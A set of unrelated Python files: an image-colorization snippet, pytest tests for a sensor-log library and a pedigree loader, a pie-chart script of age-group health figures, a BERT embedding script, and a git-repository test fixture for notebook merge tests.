    class8 = net.getLayerId("class8_ab")
    conv8 = net.getLayerId("conv8_313_rh")
    pts = kernel.transpose().reshape(2, 313, 1, 1)
    net.getLayer(class8).blobs = [pts.astype("float32")]
    net.getLayer(conv8).blobs = [np.full([1, 313], 2.606, dtype="float32")]

    # Resize image
    resized = cv2.resize(lab_img, (224, 224))

    # Split the L channel
    L = cv2.split(resized)[0]

    # Mean substraction
    L -= 50

    # Predicting the ab channels from the input L channel
    net.setInput(dnn.blobFromImage(L))
    ab_channel = net.forward()[0, :, :, :].transpose((1, 2, 0))

    # Resize the predicted ab volume to the same dimensions as the input image
    ab_channel = cv2.resize(ab_channel, (img.shape[1], img.shape[0]))

    # Take the L channel from the image
    L = cv2.split(lab_img)[0]
    colorized = np.concatenate((L[:, :, np.newaxis], ab_channel), axis=2)

    # Convert image from LAB to BGR
    colorized = cv2.cvtColor(colorized, cv2.COLOR_LAB2BGR)
    colorized = np.clip(colorized, 0, 1)

    # Change image to 0-255 range and convert it from float32 to int
    colorized = (255 * colorized).astype("uint8")

    # Resize the images and show them together
    img = cv2.resize(img, (640, 640))
    colorized = cv2.resize(colorized, (640, 640))

    result = cv2.hconcat([img, colorized])

    if(save == True):
        colorized = cv2.resize(colorized, (imgDimensions[1], imgDimensions[0]))
        colorizedImageName = os.path.basename(sourceImg)
        cv2.imwrite(f"ConvertedImages/Colorized-{colorizedImageName}", colorized)
    else:
        cv2.imshow("Grayscale -> Color", result)
        cv2.waitKey(0)
        cv2.destroyAllWindows()


import pytest

from iotile.core.exceptions import ArgumentError
from iotile.sg.model import DeviceModel
from iotile.sg.sensor_log import SensorLog
from iotile.sg.exceptions import StorageFullError, UnresolvedIdentifierError
from iotile.sg.engine import InMemoryStorageEngine
from iotile.sg import DataStreamSelector, DataStream, StreamEmptyError
from iotile.core.hw.reports import IOTileReading

def test_counter_walker():
    """Make sure counter walkers work correctly."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('counter 1'))

    stream = DataStream.FromString('counter 1')
    reading = IOTileReading(0, 1, 1)

    assert walk.count() == 0
    log.push(stream, IOTileReading(0, 1, 1))
    assert walk.count() == 1
    assert walk.peek().value == 1

    log.push(stream, IOTileReading(0, 1, 3))

    assert walk.count() == 2
    assert walk.peek().value == 3

    val = walk.pop()
    assert walk.count() == 1
    assert val.value == 3

    val = walk.pop()
    assert walk.count() == 0
    assert val.value == 3

    with pytest.raises(StreamEmptyError):
        walk.pop()

def test_unbuffered_walker():
    """Make sure unbuffered walkers hold only 1 reading."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))
    stream = DataStream.FromString('unbuffered 1')

    assert walk.count() == 0
    log.push(stream, IOTileReading(0, 1, 1))
    assert walk.count() == 1
    assert walk.peek().value == 1

    log.push(stream, IOTileReading(0, 1, 3))
    assert walk.count() == 1
    assert walk.peek().value == 3

    val = walk.pop()
    assert walk.count() == 0
    assert val.value == 3

    with pytest.raises(StreamEmptyError):
        walk.pop()

def test_constant_walker():
    """Make sure constant walkers can be read any number of times."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('constant 1'))
    stream = DataStream.FromString('constant 1')
    reading = IOTileReading(0, 1, 1)

    log.push(stream, reading)
    assert walk.count() == 0xFFFFFFFF

    log.push(stream, reading)
    assert walk.count() == 0xFFFFFFFF

    val = walk.pop()
    assert walk.count() == 0xFFFFFFFF

    val = walk.pop()
    assert walk.count() == 0xFFFFFFFF

def test_storage_walker():
    """Make sure the storage walker works."""

    model = DeviceModel()
    log = SensorLog(model=model)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'))
    stream = DataStream.FromString('buffered 1')

    storage_size = model.get('max_storage_buffer')
    erase_size = model.get('buffer_erase_size')

    for i in range(0, storage_size):
        reading = IOTileReading(0, stream.encode(), i)
        log.push(stream, reading)

        assert walk.count() == (i + 1)

    # Make sure the overwrite happens correctly
    old_count = walk.count()
    reading = IOTileReading(0, stream.encode(), storage_size)
    log.push(stream, reading)
    assert walk.count() == (old_count - erase_size + 1)

def test_walker_at_beginning():
    """Make sure we can start a walker at the beginning of a stream."""

    model = DeviceModel()
    log = SensorLog(model=model)

    stream = DataStream.FromString('buffered 1')
    reading = IOTileReading(stream.encode(), 0, 1)
    log.push(stream, reading)
    log.push(stream, reading)
    log.push(DataStream.FromString('buffered 2'), reading)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    assert walk.offset == 0
    assert walk.count() == 2

def test_storage_streaming_walkers():
    """Make sure the storage and streaming walkers work simultaneously."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage_walk = log.create_walker(DataStreamSelector.FromString('buffered 1'))
    output_walk = log.create_walker(DataStreamSelector.FromString('output 1'))
    storage1 = DataStream.FromString('buffered 1')
    storage2 = DataStream.FromString('buffered 2')
    output1 = DataStream.FromString('output 1')
    output2 = DataStream.FromString('output 2')

    assert storage_walk.offset == 0
    assert output_walk.offset == 0

    for i in range(0, 5000):
        reading = IOTileReading(0, 0, i)
        log.push(storage1, reading)
        log.push(storage2, reading)
        log.push(output1, reading)
        log.push(output2, reading)

        assert storage_walk.count() == (i + 1)
        assert output_walk.count() == (i + 1)
        assert storage_walk.offset == 0
        assert output_walk.offset == 0

    for i in range(0, 5000):
        reading1 = storage_walk.pop()
        reading2 = output_walk.pop()

        assert reading1.value == i
        assert reading1.stream == storage1.encode()
        assert reading2.value == i
        assert reading2.stream == output1.encode()
        assert storage_walk.offset == (2 * i) + 1
        assert output_walk.offset == (2* i) + 1

    log.clear()

    assert storage_walk.count() == 0
    assert storage_walk.offset == 0

    assert output_walk.count() == 0
    assert output_walk.offset == 0

def test_storage_scan():
    """Make sure scan_storage works."""

    model = DeviceModel()

    engine = InMemoryStorageEngine(model)
    log = SensorLog(engine, model=model)

    storage1 = DataStream.FromString('buffered 1')
    output1 = DataStream.FromString('output 1')

    for i in range(0, 10):
        reading = IOTileReading(0, 0, i)
        log.push(storage1, reading)

    for i in range(7, 14):
        reading = IOTileReading(0, 0, i)
        log.push(output1, reading)

    shared = [None, 0]

    def _max_counter(i, reading):
        if reading.value > shared[1]:
            shared[0] = i
            shared[1] = reading.value

    # Make sure scanning storage works
    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter)
    assert count == 10
    assert shared == [9, 9]

    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter, start=5, stop=9)
    assert count == 5
    assert shared == [9, 9]

    shared = [None, 0]
    count = engine.scan_storage('storage', _max_counter, start=5, stop=8)
    assert count == 4
    assert shared == [8, 8]

    # Make sure scanning steaming works
    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter)
    assert count == 7
    assert shared == [6, 13]

    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter, start=2, stop=6)
    assert count == 5
    assert shared == [6, 13]

    shared = [None, 0]
    count = engine.scan_storage('streaming', _max_counter, start=2, stop=5)
    assert count == 4
    assert shared == [5, 12]

    # Make sure errors are thrown correctly
    with pytest.raises(ArgumentError):
        engine.scan_storage('other_name', _max_counter)

    with pytest.raises(ArgumentError):
        engine.scan_storage('streaming', _max_counter, stop=7)

def test_seek_walker():
    """Make sure we can seek a walker can count with an offset."""

    model = DeviceModel()
    log = SensorLog(model=model)

    stream = DataStream.FromString('buffered 1')
    reading = IOTileReading(stream.encode(), 0, 1)
    log.push(stream, reading)
    log.push(stream, reading)
    log.push(DataStream.FromString('buffered 2'), reading)
    log.push(stream, reading)

    walk = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    assert walk.offset == 0
    assert walk.count() == 3

    walk.seek(1)
    assert walk.offset == 1
    assert walk.count() == 2

    # Make sure we can seek to a position corresponding to another stream
    walk.seek(2)
    assert walk.offset == 2
    assert walk.count() == 1

    # Make sure we can find a reading by reading ID
    walk = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)

    output1 = DataStream.FromString('output 1')
    output2 = DataStream.FromString('output 2')
    log.push(output1, IOTileReading(0, 0, 1, reading_id=1))
    log.push(output1, IOTileReading(0, 0, 1, reading_id=2))
    log.push(output2, IOTileReading(0, 0, 1, reading_id=3))
    log.push(output1, IOTileReading(0, 0, 1, reading_id=4))

    exact = walk.seek(2, target='id')
    assert exact is True
    assert walk.count() == 2
    assert walk.offset == 1

    exact = walk.seek(3, target='id')
    assert exact is False
    assert walk.count() == 1
    assert walk.offset == 2

    # Verify exceptions thrown by seek()
    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target='id')

    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target=u'id')

    with pytest.raises(UnresolvedIdentifierError):
        walk.seek(5, target='offset')

    with pytest.raises(ArgumentError):
        walk.seek(2, target="unsupported")

def test_fill_stop():
    """Make sure we can configure SensorLog into fill-stop mode."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage = DataStream.FromString('buffered 1')
    output = DataStream.FromString('output 1')

    reading = IOTileReading(0, 0, 1)

    # Neither fill-stop
    for _i in range(0, 50000):
        log.push(storage, reading)

    for _i in range(0, 50000):
        log.push(output, reading)

    log.clear()
    log.set_rollover('storage', False)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(storage, reading)

    for _i in range(0, 50000):
        log.push(output, reading)

    assert log.count() == (16128, 48720)

    log.clear()
    log.set_rollover('streaming', False)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(storage, reading)

    with pytest.raises(StorageFullError):
        for _i in range(0, 50000):
            log.push(output, reading)

    assert log.count() == (16128, 48896)

def test_dump_restore():
    """Make sure we can properly dump and restore a SensorLog."""

    model = DeviceModel()
    log = SensorLog(model=model)

    storage = DataStream.FromString('buffered 1')
    output = DataStream.FromString('output 1')

    reading = IOTileReading(0, 0, 1)

    for _i in range(0, 25):
        log.push(storage, reading)

    for _i in range(0, 20):
        log.push(output, reading)

    out1 = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)
    store1 = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    count1 = log.create_walker(DataStreamSelector.FromString('counter 1'))
    const1 = log.create_walker(DataStreamSelector.FromString('constant 1'))
    unbuf1 = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))

    log.push(DataStream.FromString('counter 1'), reading)
    log.push(DataStream.FromString('counter 1'), reading)
    log.push(DataStream.FromString('constant 1'), reading)
    log.push(DataStream.FromString('unbuffered 1'), reading)

    state = log.dump()

    log.clear()
    log.destroy_all_walkers()

    out1 = log.create_walker(DataStreamSelector.FromString('output 1'), skip_all=False)
    store1 = log.create_walker(DataStreamSelector.FromString('buffered 1'), skip_all=False)
    count1 = log.create_walker(DataStreamSelector.FromString('counter 1'))
    const1 = log.create_walker(DataStreamSelector.FromString('constant 1'))
    unbuf1 = log.create_walker(DataStreamSelector.FromString('unbuffered 1'))

    log.restore(state)

    assert store1.count() == 25
    assert out1.count() == 20
    assert count1.count() == 2
    assert const1.count() == 0xFFFFFFFF
    assert unbuf1.count() == 1

    # Test permissive and non-permissive restores
    _unbuf2 = log.create_walker(DataStreamSelector.FromString('unbuffered 2'))

    with pytest.raises(ArgumentError):
        log.restore(state)

    log.clear()
    log.restore(state, permissive=True)
    assert store1.count() == 25
    assert out1.count() == 20
    assert count1.count() == 2
    assert const1.count() == 0xFFFFFFFF
    assert unbuf1.count() == 1

    # Test restoring a stream walker
    log.clear()
    log.destroy_all_walkers()
    walk = log.create_walker(DataStreamSelector.FromString(str(storage)))

    for _i in range(0, 25):
        log.push(storage, reading)

    assert walk.count() == 25
    dump = walk.dump()
    log.destroy_all_walkers()
    walk2 = log.restore_walker(dump)
    assert walk2.count() == 25


import numpy as np
import matplotlib.pyplot as plt

def pie_charts(sizes,title):
    #adjust the size of figure
    plt.figure(figsize=(6,9))
    #define label
    labels = ['0-17 years','18-64 years','65+ years']

    colors = ['yellow','lightskyblue','yellowgreen']
    #The larger the value is, the larger the gap is
    explode = (0.02,0.02,0.005)
    patches,text1,text2 = plt.pie(sizes,
                          explode=explode,
                          labels=labels,
                          colors=colors,
                          labeldistance = 1.2,
                          autopct = '%3.2f%%',
                          shadow = False,
                          startangle =90,
                          pctdistance = 0.6)
    for t in text1:
        t.set_size(17)
    for t in text2:
        t.set_size(17)

    #x,y is consistent so ensure it's a circle
    plt.axis('equal')
    #plt.legend()
    plt.title(title,fontsize=25)
    plt.show()

death_proportion = [1282,9565,1621]
title1 = 'Deaths Proportion'
hosp_proportion  = [86813,160229,27263]
title2 = 'Hospitalizations Proportion'
cases_proportion = [19501004,35392931,5943813]
title3 = 'Cases Proportion'
pie_charts(death_proportion,title1)
pie_charts(hosp_proportion,title2)
pie_charts(cases_proportion,title3)


import os
import pytest
from pandas.api.types import is_string_dtype  # type: ignore

from dae.variants.attributes import Role

from dae.pedigrees.families_data import FamiliesData
from dae.pedigrees.loader import FamiliesLoader

@pytest.mark.parametrize(
    "pedigree",
    [
        ("pedigree_A.ped"),
        ("pedigree_B.ped"),
        ("pedigree_B2.ped"),
        ("pedigree_C.ped"),
    ],
)
def test_famlies_loader_simple(pedigree, fixture_dirname):
    filename = fixture_dirname(f"pedigrees/{pedigree}")
    assert os.path.exists(filename)
    loader = FamiliesLoader(filename)
    families = loader.load()

    assert families is not None

def test_families_loader_phenotype(fixture_dirname):
    filename = fixture_dirname("pedigrees/pedigree_D.ped")
    assert os.path.exists(filename)

    loader = FamiliesLoader(filename)
    families = loader.load()

    assert families is not None
    assert isinstance(families, FamiliesData)

    for fam_id, family in families.items():
        print(fam_id, family, family.persons)
        for person_id, person in family.persons.items():
            print(person)
            print(person.has_attr("phenotype"))
            assert person.has_attr("phenotype")

def test_families_loader_phenos(fixture_dirname):
    filename = fixture_dirname("pedigrees/pedigree_phenos.ped")
    assert os.path.exists(filename)

    loader = FamiliesLoader(filename)
    families = loader.load()

    assert families is not None
    assert isinstance(families, FamiliesData)

    for fam_id, family in families.items():
        for person_id, person in family.persons.items():
            assert person.has_attr("phenotype")
            assert person.has_attr("pheno2")
            assert person.has_attr("pheno3")

    ped_df = families.ped_df
    assert is_string_dtype(ped_df["pheno3"])
    assert is_string_dtype(ped_df["pheno2"])
    assert is_string_dtype(ped_df["phenotype"])

@pytest.mark.parametrize(
    "pedigree",
    [
        ("sample_nuc_family.ped"),
        ("pedigree_no_role_A.ped"),
        ("pedigree_no_role_B.ped"),
        ("pedigree_no_role_C.ped"),
    ],
)
def test_families_loader_no_role(pedigree, fixture_dirname):
    filename = fixture_dirname(f"pedigrees/{pedigree}")
    assert os.path.exists(filename)

    params = {
        "ped_no_role": True,
    }
    loader = FamiliesLoader(filename, **params)
    families = loader.load()

    assert families is not None
    assert isinstance(families, FamiliesData)

    fam = families["f1"]
    assert fam is not None

    persons = fam.get_members_with_roles(["prb"])
    assert len(persons) == 1

    person = persons[0]
    assert person.person_id == "f1.prb"

    persons = fam.get_members_with_roles(["sib"])
    assert len(persons) == 1

    person = persons[0]
    assert person.person_id == "f1.sib"

def test_families_loader_roles_testing(fixture_dirname):
    filename = fixture_dirname("pedigrees/pedigree_no_role_C.ped")
    assert os.path.exists(filename)

    params = {
        "ped_no_role": True,
    }
    loader = FamiliesLoader(filename, **params)
    families = loader.load()

    assert families.persons[("f1", "f1.mg_dad")].role == \
        Role.maternal_grandfather
    assert families.persons[("f1", "f1.mg_mom")].role == \
        Role.maternal_grandmother
    assert families.persons[("f1", "f1.pg_dad")].role == \
        Role.paternal_grandfather
    assert families.persons[("f1", "f1.pg_mom")].role == \
        Role.paternal_grandmother

@pytest.mark.parametrize(
    "pedigree",
    [
        ("pedigree_A.ped"),
        ("pedigree_B.ped"),
        ("pedigree_B2.ped"),
        ("pedigree_C.ped"),
    ],
)
def test_families_ped_df(pedigree, temp_filename, fixture_dirname):
    filename = fixture_dirname(f"pedigrees/{pedigree}")
    assert os.path.exists(filename)

    loader = FamiliesLoader(filename)
    families = loader.load()

    assert families._ped_df is None

    new_df = families.ped_df
    assert new_df is not None

    # assert_frame_equal(ped_df, new_df, check_like=True)


import torch
from transformers import BertTokenizer, BertModel
import pandas as pd
import logging

dataset = pd.read_csv('tokenized_data_without_punctuation_stopwords_lemma.csv')
dataset = dataset[:1000]
dataset = dataset['text'].astype(str).tolist()

# Set log level to ERROR to suppress warning messages
logging.getLogger("transformers").setLevel(logging.ERROR)

model_name = 'bert-base-uncased'  # Pre-trained BERT model
model = BertModel.from_pretrained(model_name)
tokenizer = BertTokenizer.from_pretrained(model_name)

def get_bert_embeddings(dataset):
    embeddings = []
    for sentence in dataset:
        encoded_input = tokenizer.encode_plus(sentence, padding='max_length', truncation=True, return_tensors='pt')
        input_ids = encoded_input['input_ids']
        with torch.no_grad():
            model_output = model(input_ids)
        sentence_embeddings = model_output.last_hidden_state.squeeze(dim=0)  # Extract embeddings
        embeddings.append(sentence_embeddings)
    return embeddings

embeddings = get_bert_embeddings(dataset)
print(embeddings)


import os
import shlex
import shutil
import sys
from pathlib import Path
from subprocess import check_call
from typing import Callable, Dict, List, Union

from pytest import fixture, skip

FILES_PATH = Path(__file__).parent / "files"

def call(cmd: Union[str, List[str]], cwd: Union[str, Path, None] = None) -> int:
    """Call a command
    if str, split into command list
    """
    if isinstance(cmd, str):
        cmd = shlex.split(cmd)
    return check_call(cmd, stdout=sys.stdout, stderr=sys.stderr, cwd=cwd)

@fixture(scope="session")
def needs_symlink(tmp_path_factory):
    if not hasattr(os, "symlink"):
        skip("requires symlink creation")
    tdir = tmp_path_factory.mktemp("check-symlinks")
    source = tdir / "source"
    source.mkdir()
    try:
        os.symlink(source, tdir / "link")
    except OSError:
        skip("requires symlink creation")

@fixture
def git_repo_factory() -> Callable[[Path], Path]:
    def factory(root_path: Path) -> Path:
        repo = root_path / "repo"
        repo.mkdir()

        call("git init", cwd=repo)

        # setup base branch
        src = FILES_PATH

        def copy(files):
            for s, d in files:
                shutil.copy(src / s, repo / d)

        copy(
            [
                ["multilevel-test-base.ipynb", "merge-no-conflict.ipynb"],
                ["inline-conflict--1.ipynb", "merge-conflict.ipynb"],
                ["src-and-output--1.ipynb", "diff.ipynb"],
            ]
        )

        call("git add *.ipynb", cwd=repo)
        call("git config user.name 'JupyterLab Git'", cwd=repo)
        call("git config user.email 'jlab.git@py.test'", cwd=repo)
        call('git commit -m "init base branch"', cwd=repo)
        # create base alias for master
        call("git checkout -b base master", cwd=repo)

        # setup local branch
        call("git checkout -b local master", cwd=repo)
        copy(
            [
                ["multilevel-test-local.ipynb", "merge-no-conflict.ipynb"],
                ["inline-conflict--2.ipynb", "merge-conflict.ipynb"],
                ["src-and-output--2.ipynb", "diff.ipynb"],
            ]
        )
        call('git commit -am "create local branch"', cwd=repo)

        # setup remote branch with conflict
        call("git checkout -b remote-conflict master", cwd=repo)
        copy([["inline-conflict--3.ipynb", "merge-conflict.ipynb"]])
        call('git commit -am "create remote with conflict"', cwd=repo)

        # setup remote branch with no conflict
        call("git checkout -b remote-no-conflict master", cwd=repo)
        copy([["multilevel-test-remote.ipynb", "merge-no-conflict.ipynb"]])
        call('git commit -am "create remote with no conflict"', cwd=repo)

        # start on local
        call("git checkout local", cwd=repo)
        assert not Path(repo / ".gitattributes").exists()
        return repo

    return factory